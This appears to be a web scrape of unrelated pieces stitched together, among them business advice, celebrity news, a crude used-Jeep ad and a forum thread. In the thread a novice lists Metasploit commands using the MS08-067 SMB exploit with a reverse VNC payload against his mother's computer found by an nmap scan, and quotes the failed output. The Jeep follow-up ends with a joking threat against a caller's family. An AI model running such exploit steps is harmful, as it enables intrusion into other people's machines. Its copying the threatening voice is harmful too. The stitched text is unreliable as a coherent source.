It is tempting to believe that you can successfully launch your business on the strength of "passion", a spreadsheet and a couple of beers. It is tempting to believe that you are on your way to becoming the next Grabble: the Wollongong garage start-up bought by US shopping giant Walmart.
Perhaps you will be just like Grabble, one day. But no matter how shrewd you reckon you are, avoiding setbacks that chew up resources is hard and could well be disastrous, given the spreading spending slide.
Two first-year start-up owners now in profit after wobbly starts nail some traps to avoid at all costs.
Amazon alert
In April 2011, Sydney writer Steven Lewis launched a business called Kindle Self-Publishing – a guide to how to publish work for Amazon's Kindle reader.
In a bid to boost search-engine optimisation (SEO), Lewis put the website up under the domain name "kindleselfpublishing.com". "And it worked," says Lewis, 40.
Because, Lewis says, many established sites about the Kindle embed its name in their web addresses, he thought that Amazon would not object.
"I was wrong," he says.
In June, Amazon asked him to rename the site.
"They were very nice about it," he says, adding that Amazon paid $US300 compensation.
As he writes on his blog, he duly renamed his site Taleist. Also, he contacted all the sites that linked to him, asking that they remake their link to his new site: an awful hassle. Right until November, he was still finding dead links to the old domain, scattered across the internet.
Worse, his web ranking sank. For a search on "Kindle self publishing", he slumped from near the top of Google's first page to the fourth page, "which doesn't even count".
But, after a three-month SEO campaign focused on gaining incoming "back-links" instead of his domain name, his ranking rebounded. Now it stands where it was, he says.
He advises anyone starting a business to think hard about name choice and web presence. Or else.
"We think of digital assets as being malleable because they're theoretically easy to change, but that isn't the case," he says.
Analysis paralysis
Brisbane-based Jessy Cameron, 24, runs a new online boutique called the Molten Store, which offers jewellery, accessories, and "curious gifts".
The biggest lesson that Cameron has learned through starting the store is simple: "not to let perfect get in the way of better".
Before launching this year, she spent almost 12 months in perfectionist mode, "finessing every tiny detail" of her budding boutique.
For example, she fretted over whether to focus on popular jewellery styles – things like dainty gold necklaces - or take the "obscurely beautiful" route. Eventually, she did the latter, embracing opulence.
Only after her business went live did she grasp just how much delay her perfectionism had caused.
"We aimed for May, then June, and finally launched in July," she says. Instead of stressing over details and planning fanatically, she should have let herself be more "reactive", she says.
"I've realised that the world of e-commerce is no place for a set-in-stone five-year plan," she says, adding that her industry is evolving at lightning speed. If she is to be "a major player", she must keep up, she says.
Her message for budding start-up owners is to plan less and go with the flow more.
"In the first year of business, it would always be great to have more money, time or resources to throw at your ideas," she says.
Irrespective, she adds, you can still "make it happen".

Eva Mendes: Monday Morning in Manhattan
Posted Monday March 11, 2013 3:30 PM GMT
She's always on the go, and Eva Mendes showed up outside her luxury hotel in New York City this morning (March 11).
Kicking off her crazy day, the "Other Guys" gal looked gorgeous in a bright pink pea coat with a patterned square handbag as she smiled for fans and paparazzi nearby.
Last night, Eva promoted her new film "The Place Beyond the Pines" at the historic Waldorf Astoria Hotel in Manhattan.
And while her hunky boyfriend Ryan Gosling was also in the house (he's in the flick, too), the two ended up leaving in separate cars.
Enjoy the pictures of Eva Mendes in NYC (March 11).

1997 Jeep Cherokee (XJ)
220K Miles
4.0 L in-line 6
AUTOMATIC Transmission
Bright Red
Straight Stock
Crank Windows, no cruise, no tilt, no delay wiper, no nonsense
POWER MIRRORS! Woo Hoo!
Here's the deal, kids:
This is a Jeep Cherokee. This is not a luxury SUV, or a maintenance-free disposable import. It has solid front axles, wind noise, and character.
It's a Jeep. It rides like a Jeep. It drives like a Jeep. All of these are GOOD things.
It is not new, it is not pristine, it is used. This will be apparent in the pictures.
If you do not own a toolbox, have never changed your own oil, and are scared of firearms: THIS VEHICLE IS NOT FOR YOU.
If you have been posting on facebook all about how excited you are for pumpkin latte season: THIS VEHICLE IS NOT FOR YOU.
If you get offended easy and often, whine to your co-workers, and bitch a lot: THIS VEHICLE IS NOT FOR YOU.
If you feel you are owed anything in the world & have a bullshit job where you fail to produce: THIS VEHICLE IS NOT FOR YOU.
If you own a bieber album, white oakleys, affliction t-shirts, or those candy-assed stitched-pocket jeans: THIS VEHICLE IS NOT FOR YOU.
If you consider the 2nd Amendment an anachronistic relic and have never owned a firearm: THIS VEHICLE IS NOT FOR YOU.
If, however, you have BALLS OF STEEL and consider adverse weather an excuse to do stupid crap: THIS IS YOUR JEEP.
Do you laugh at danger, and tempt fate?
Have you ever uttered the words, "Hold my beer and watch this ..."?
While bored at work do you pick targets at random and think, "I could hit that from here with the .22 ..."?
Have any of your friends quit hanging out because you were too much fun?
Do you have the number of a friend with cash memorized for bail?
When you pass an abandoned flatbed farm truck along a fenceline do you consider taking on another project?
Is your ol' lady really sick of the random piles of parts, greasy footprints, and empty beer bottles in the garage?
-could you not care less?
Do you have Jalopnik saved on your laptop AND smartphone?
Do you own a service manual for every vehicle you ever owned?
Do you still miss your first ride?
Can you carry on a two hour conversation discussing tools, scars, and hi-lift jacks?
Remember when tool companies had the balls to put half-naked beauty queens on their calendars?
Do you consider the Prius an abominable affront to the Gods of displacement, torque, and All Mighty Internal Combustion?
If you answered in the affirmative to the preceding: THIS IS YOUR JEEP.
-I am the second owner. First owner barely got it dirty and engaged the front axles once.
-I have remedied this excessive caretaking with muddy roads and a pile of fun.
-The motor uses a little oil. How much? I don't know, I'm not collecting statistical analysis points.
I check the oil, I fill the oil, I drive. Not enough to bother me.
-It leaks a little oil. How much? Not enough for me to care. It has 220,000 miles, Poindexter!
If you have a vehicle with 220K NOT leaking or burning oil, it's empty!
-Rear bumper has a big-ass crease in it. I dented it backing into a concrete pole. Sober.
We drove away giggling, for the record. Haven't fixed it.
-Driver's side door was caught by the wind, whipped forward, got into the LF quarter panel.
-Radiator has a small leak. Pinhole. I can replace the radiator or you can. Really doesn't matter
A new radiator and hoses will run $145. If you don't want to replace them I will.
Add $250 to the price of vehicle. This includes radiator, hoses, and labor (beer). A freaking bargain.
-The badass little 4.0L bullet-proof in-line six starts and runs like the proverbial champ.
-Tranny and 4WD operate perfectly
-Tires will need replaced in a couple thousand miles. I haven't upgraded because I had plans:
Had planned a small lift, upgrade to 17" Wrangler wheels, and more aggressive tires.
Life got in the way - it ain't happening.
-Zombie stickers on the right rear window stay. My daughter's idea, take it up with her.
-Flogging Molly sticker stays as well. They kick ass, so there.
-Why are you selling?
I can't justify owning it anymore. Motorsickles, kiddos, work, travel, and beer have consumed my time and money.
Someone else needs to appreciate the Jeep for what it is: awesome mechanical artistry.
-What's wrong with it?
Radiator. Small oil leaks. Driver's side door cosmetic issues.
And it's pissed it has been neglected and parked. It needs rescued.
-Does the 4WD work?
Hell yes. Like a Dickensian Orphan.
-Will you sell me the [engine / tranny / rear door / axle / etc.]?
No. I'm not in the salvage business. Buy the Jeep. Love the Jeep. Give the Jeep a home.
-Will you take [insert ridiculously stupid low number here]?
No. If I wanted [ridiculously low number] I would have asked [ridiculously low number]
Want a cheap car? Get your kid that lowered tuner piece of crap honda project down the road.
I think I'm plenty cheap for this bad ****.
-Why is it still stock?
Because I bought it for a daily driver with the intention of turning it into a project.
I haven't had the time to do so. So I am selling it.
-Can I put a 6" lift and giant tires on it?
I don't give a crap. But be sure to use quality components and for God's sake - get it aligned after a lift!
-Would this make a good car for my daughter?
Hell. Yes. Not only a good car, a learning experience. Introduction to vehicular maintenance.
Additionally, there isn't really enough room in the back for that little bastard she's dating to try anything.
-Can you deliver?
Within reason. I'd drive it a hundred miles or so. But really, you should come get it. Look it over. Have a beer. Etc.
-Will you take a check / cashier's check / Western Union Transfer / Nigerian Promissory Note?
Would you take a ball pein hammer to the forehead?
No. I'll take Cash. Period. Bring cash or don't show.
-Will you ship to -?
No. See above.
-No, really, all I have is [lowball dollar amount]?
That's great, I don't give a crap. Unicef ain't running this deal, and until they do I want $1750.
Why? Because I don't HAVE to sell this little beauty. Truth be known, I'd rather keep it.
But if it's going to a good home - I will sell. Unless you're an butt - then no sale.
-Why are you such a ****?
Everything is relative; you should see my friends.
Any other questions, feel free to reply to this email and ask.

Flagged Red '97 Jeep Cherokee Ad - $1750 (Enid, OK)
The Cheap Jeep Sold! And I am conflicted ...
First of all: you people are all insane. In a really cool way.
The obnoxious ad for a beloved XJ took off like a deadbeat dad and ran amuck via internet like bad porn. I had NO idea things would get out of hand like that.
Second: I appreciate the hell out of all the threats of violence, poorly-written critiques, carnal propositions, questioning of my mechanical expertise, and humbling praise. The response to my rambling nonsense has been terrifyingly entertatining.
Third: I have no idea why CraigsList pulled the ad. It may have been the right-wing hate speech, it may have been the profanity, it may have been anti-redneck discrimination.
It may have been the traffic. You folks posted that ad on forums, newspapers, facebook, porn chat rooms, AA support groups, sex offender registries ... insanity.
It may have even been the fact the super-adorable and scary-smart Dana Loesch retweeted a link to the ad Friday night - and killed CL servers.
Ms. Loesch has 157,000 followers on Twitter. Two minutes after she tweeted the ad it was pulled.
I would have been more pissed, but I was three Guinness in on a weekend bender and just didn't give two shits.
By Saturday morning when the above-pictured hoodlums arrived to pick up the Jeep my hangover was subsiding, my butt friends were drinking again, and my Jeep was off to a new loving supportive home.
So yeah; the folks who adopted The Cheap Jeep fit the bill. Complete and total gearheads incapable of douche behavior. Jeep aficionados. Rock crawlers. Off-roaders. Welders. Fabricators. Rednecks. Good kids. I hated to see it go, but they'll give the little beast the attention it deserves.
In closing: Thanks, Weirdoes. That was fun.
Also, one last note:
****** in Edmond, OK who I hung up on. Twice: Yes, I was serious when I told you couldn't have my Jeep. And no, we didn't get cut off. I hung up. Twice. And yes; that was the 'F' word I yelled at you just before promising to do all those terrible things to your family. I have your number. Edmond is a small town. I get bored a lot. I have no conscience ...

Located in the Fourth Ward District of Charlotte, Fourth Ward Bread Co. is a bakery/cafe that specializes in fine European-style breads and pastries.
Photos by Christopher schneider
Fourth Ward Bread Co. opened its doors in 2013. For a year, they provided the Uptown Charlotte community with the finest fast-casual breakfasts, pastries and breads. In September of 2014, Fourth Ward suffered a devastating fire that shut down operation for over a year.
Now, Fourth Ward Bread Co. has risen from the ashes. The factory chic interior reflects Uptown Charlotte's blend of new urban sensibilities with the old school industrial Americana. The time tested old-world pastries and breads have been given a modern twist.

In Minn., K9s are pricey, yet vital parts of the force
"In the seven years I have been with (a police dog), I haven't had a single physical confrontation," said Officer Jeff Gottstein. "Someone might be willing to fight me, but they aren't willing to fight the dog."
By Bob Shaw
The Pioneer Press
WOODBURY, Minn. — Jeff Gottstein runs alongside his German shepherd toward a 6-foot ladder.
"Here goes nothing," he mutters. The dog leaps but stumbles on his way up.

Our regular monthly photography competition will be taking a break this month, partly to give me a chance to sort out some complications with the prizes from the past few months, and also to line up some great new prizes for the run up to Christmas. We had some great entries for September though, and I'm sure the standard in November will be just as high.
The theme for September was "Music and Entertainment", and as usual it attracted several hundred entries from readers all around the world, and also as usual most of them were excellent. We only have space to show the best fifteen though, so many thanks and please keep trying to all of you whose shots didn't make the final cut.
There were nearly as many different interpretations of the theme as there were entries, but there were a few common sub-themes that appeared more than once. By far the most popular was the over-the-heads shot of a big concert. It's a pretty easy shot to take, and the results are just as much about luck as skill, but when it works it does look good, as demonstrated here by the mysteriously semi-anonymous Peter N of London. He took this shot of a concert by trance DJ Tiesto in Victoria Park, London, using his Panasonic LX3. Odd then that he used it to enter a competition to win another LX3, but I can't say I blame him, it's a lovely camera.
Photos of live music events made up the vast majority of the entries. Taking photos in clubs and venues is a skill in its own right, because the unusual and unpredictable lighting plays havoc with most automatic metering systems. Erick Cusi, of Manilla, Philippines, obviously knows what he's doing though, to produce a result like the one below. Erick used his Canon EOS 30D with a 28-105mm f/3.5-4.5 II USM lens to take the shot. "I set my ISO to 1600, and used 1/125sec shutter speed without flash. I waited for the warm spotlight to pass behind this bassist to capture the dramatic backlit effect."
Other people took a more experimental approach to the subject, such as this fascinating shot from Philip Bird Of East Grinstead. He took a series of three shots on his Canon EOS 40D with a 17-85 mm IS lens , then used Photoshop to combine red, green and blue channels from separate shots. The result looks pretty strange, but I rather like it.

Another great blog post by Edie Melson
So often, when I tell people I'm a writer, they'll look at me, sigh and tell me how they want to write . . . if only.
By now I've heard just about every excuse in the book—and truth be told—used a lot of them myself.
The truth of the matter is that everybody has an excuse NOT to follow their dream. We're all busy. We're all dealing with crazy family issues of one type or another. None of us have enough money to make it easy to do it. The list goes on and on.
But really, the important point is why you SHOULD follow your dream. Life's too short and too precious to waste time doing things we're NOT passionate about. Okay, very few have the luxury of ONLY doing what they're passionate about, but even that is just another excuse.
So I ask you, what's holding you back from following your dream? Is it time, money, fear? Well the end of the year is just around the corner. So I want to challenge you to put your if only aside and take a chance on your dream.
Here are some practical steps you can take to get started. You're already partway there—you're reading this blog!
Join a writers group—it can be online, or one that meets nearby. Don't know where to find one? Check with your local bookstores and libraries.
Set some goals—TO WRITE. You can't be a writer if you don't sit down and write. The goals can be small, maybe a few hundred words a week. Or set a time goal, spend so many minutes a day writing.
Make a schedule—I can hear the groaning now and I'm right with you. I HATE schedules—they seem almost anti-creative. But a schedule helped me publish 700+ articles last year. It doesn't have to be a minute by minute schedule, just one that lets you know when to work on what.
Enlist a friend—preferably one who writes. But anyone will work. When I start a new endeavor I've found I keep my goals when I build in accountability.
Now it's your turn—take a chance and put your dream in writing. Make a commitment and share what you want to accomplish in 2013.
Don't forget to join the conversation!

NAIROBI – Kenya's double world 5,000 meters and 10,000 champion Vivian Cheruiyot is expecting her first child and will not be defending her titles in Moscow this summer, the runner said Wednesday.

/// LinkedUp! Gives You Info About Your Date's Job Title
May 7, 2014 | Blog
If you use LinkedIn to stay current within the professional world, you might want to try out LinkedUp! According to The Wall Street Journal, it's a dating app that can ensure that potential dates are employed before you meet them.
It's not technically affiliated with LinkedIn, though it is considered a mix between that site and the dating app Tinder. But LinkedUp! does use the source code from LinkedIn in order to get employment information. So for anyone looking to find dates with professionals who are gainfully employed, this app might be worth a look.
You can learn more about it at The Wall Street Journal.

Computer might be patched or firewall is turned on.
This is worth checking out for that particular exploit: http://forums.remote-exploit.org/bac...s08_067-a.html
First of all, you guy`s rock!
There is so much information on this site to help you out, really cool!
But now,
I have BT4 on my VMware workstation, and finally figured out how to set a wireless connection without wireless assisten (wich didn`t work..).
i did it with:
iwconfig wlan0 essid ***** key *****
dhclient wlan0
and i was online, in my own network
i have seen some 'youtube' vids about metasploit, and I don`t know much about that all jet, but idd like to give the framework3 a try...
i typed:
and the msf appeared in the console,
show exploits
use windows/smb/ms08_067_netapi
show payloads
set payload windows/vncinject/reverce_tcp
set LHOST *MY_IP*
set RHOST *MOM_IP*
thats just what this guy in the video was doing.. but my console puts out this:
[*] Handler binding to LHOST 0.0.0.0[*] Started reverse handler[*] Automatically detecting the target...[*] Fingerprint: Windows XP Service Pack 3 - lang Dutch[*] Exploit completed, but no session was created.
how come no session was created?
in the movie i saw this guy monitoring another pc.
i scanned my network with nmap -O 192.168.123.0-254
i found this ip with port 445 open.. so i used that ip (my moms)..
any one who can teach me something about this all and show me why this just wont work?
i tried several other ip`s, but every time it shows the same line in the end, no session created
(as you may have noticed, i am from Holland, so sorry for any wrong words etc.)

To be successful here you should read all of the following.
If you are new to Back|Track
Back|Track Wiki
Failure to do so will probably get your threads deleted or worse.
My advice is to learn how exploits work, how to check them, how try them out manually. That will help you to understand what's going on within metasploit. It will also help you to understand on how to analyze why something is not working in metasploit like in your case.
If you are just using metasploit because you heard of it and see it as a tool to help you "pwning" a machine without any further knowledge you are in the wrong place here.

Nicollette Sheridan Drops Abuse Lawsuit
Seemingly having a change of heart, Nicolette Sheridan has reportedly opted to drop her previously filed lawsuit against "Desperate Housewives" creator Marc Cherry.
The 47-year-old actress was seeking $20 million dollar in legal papers submitted in April, as she claimed that Cherry's behavior was "nothing short of abusive and appalling".
Nonetheless, THR now tells that a joint stipulation was filed in Los Angeles Superior Court this past Friday (December 17) with Sheridan retracting her allegations.
Back in April, Nicollette's lawyers told press, "Nicollette asked ABC for help and protection from Mr. Cherry's abusive behavior, and ultimately, ABC was not willing or able to provide that protection. Sometimes the only way that a safe and normal work environment can be created is when a hard-working person like Nicollette stands up for herself and her rights, and in doing so help protect others who have had to work in a hostile environment."
To the statement, ABC responded by saying, "While we have yet to see the actual complaint, we investigated similar claims made by Ms. Sheridan last year and found them to be without merit."
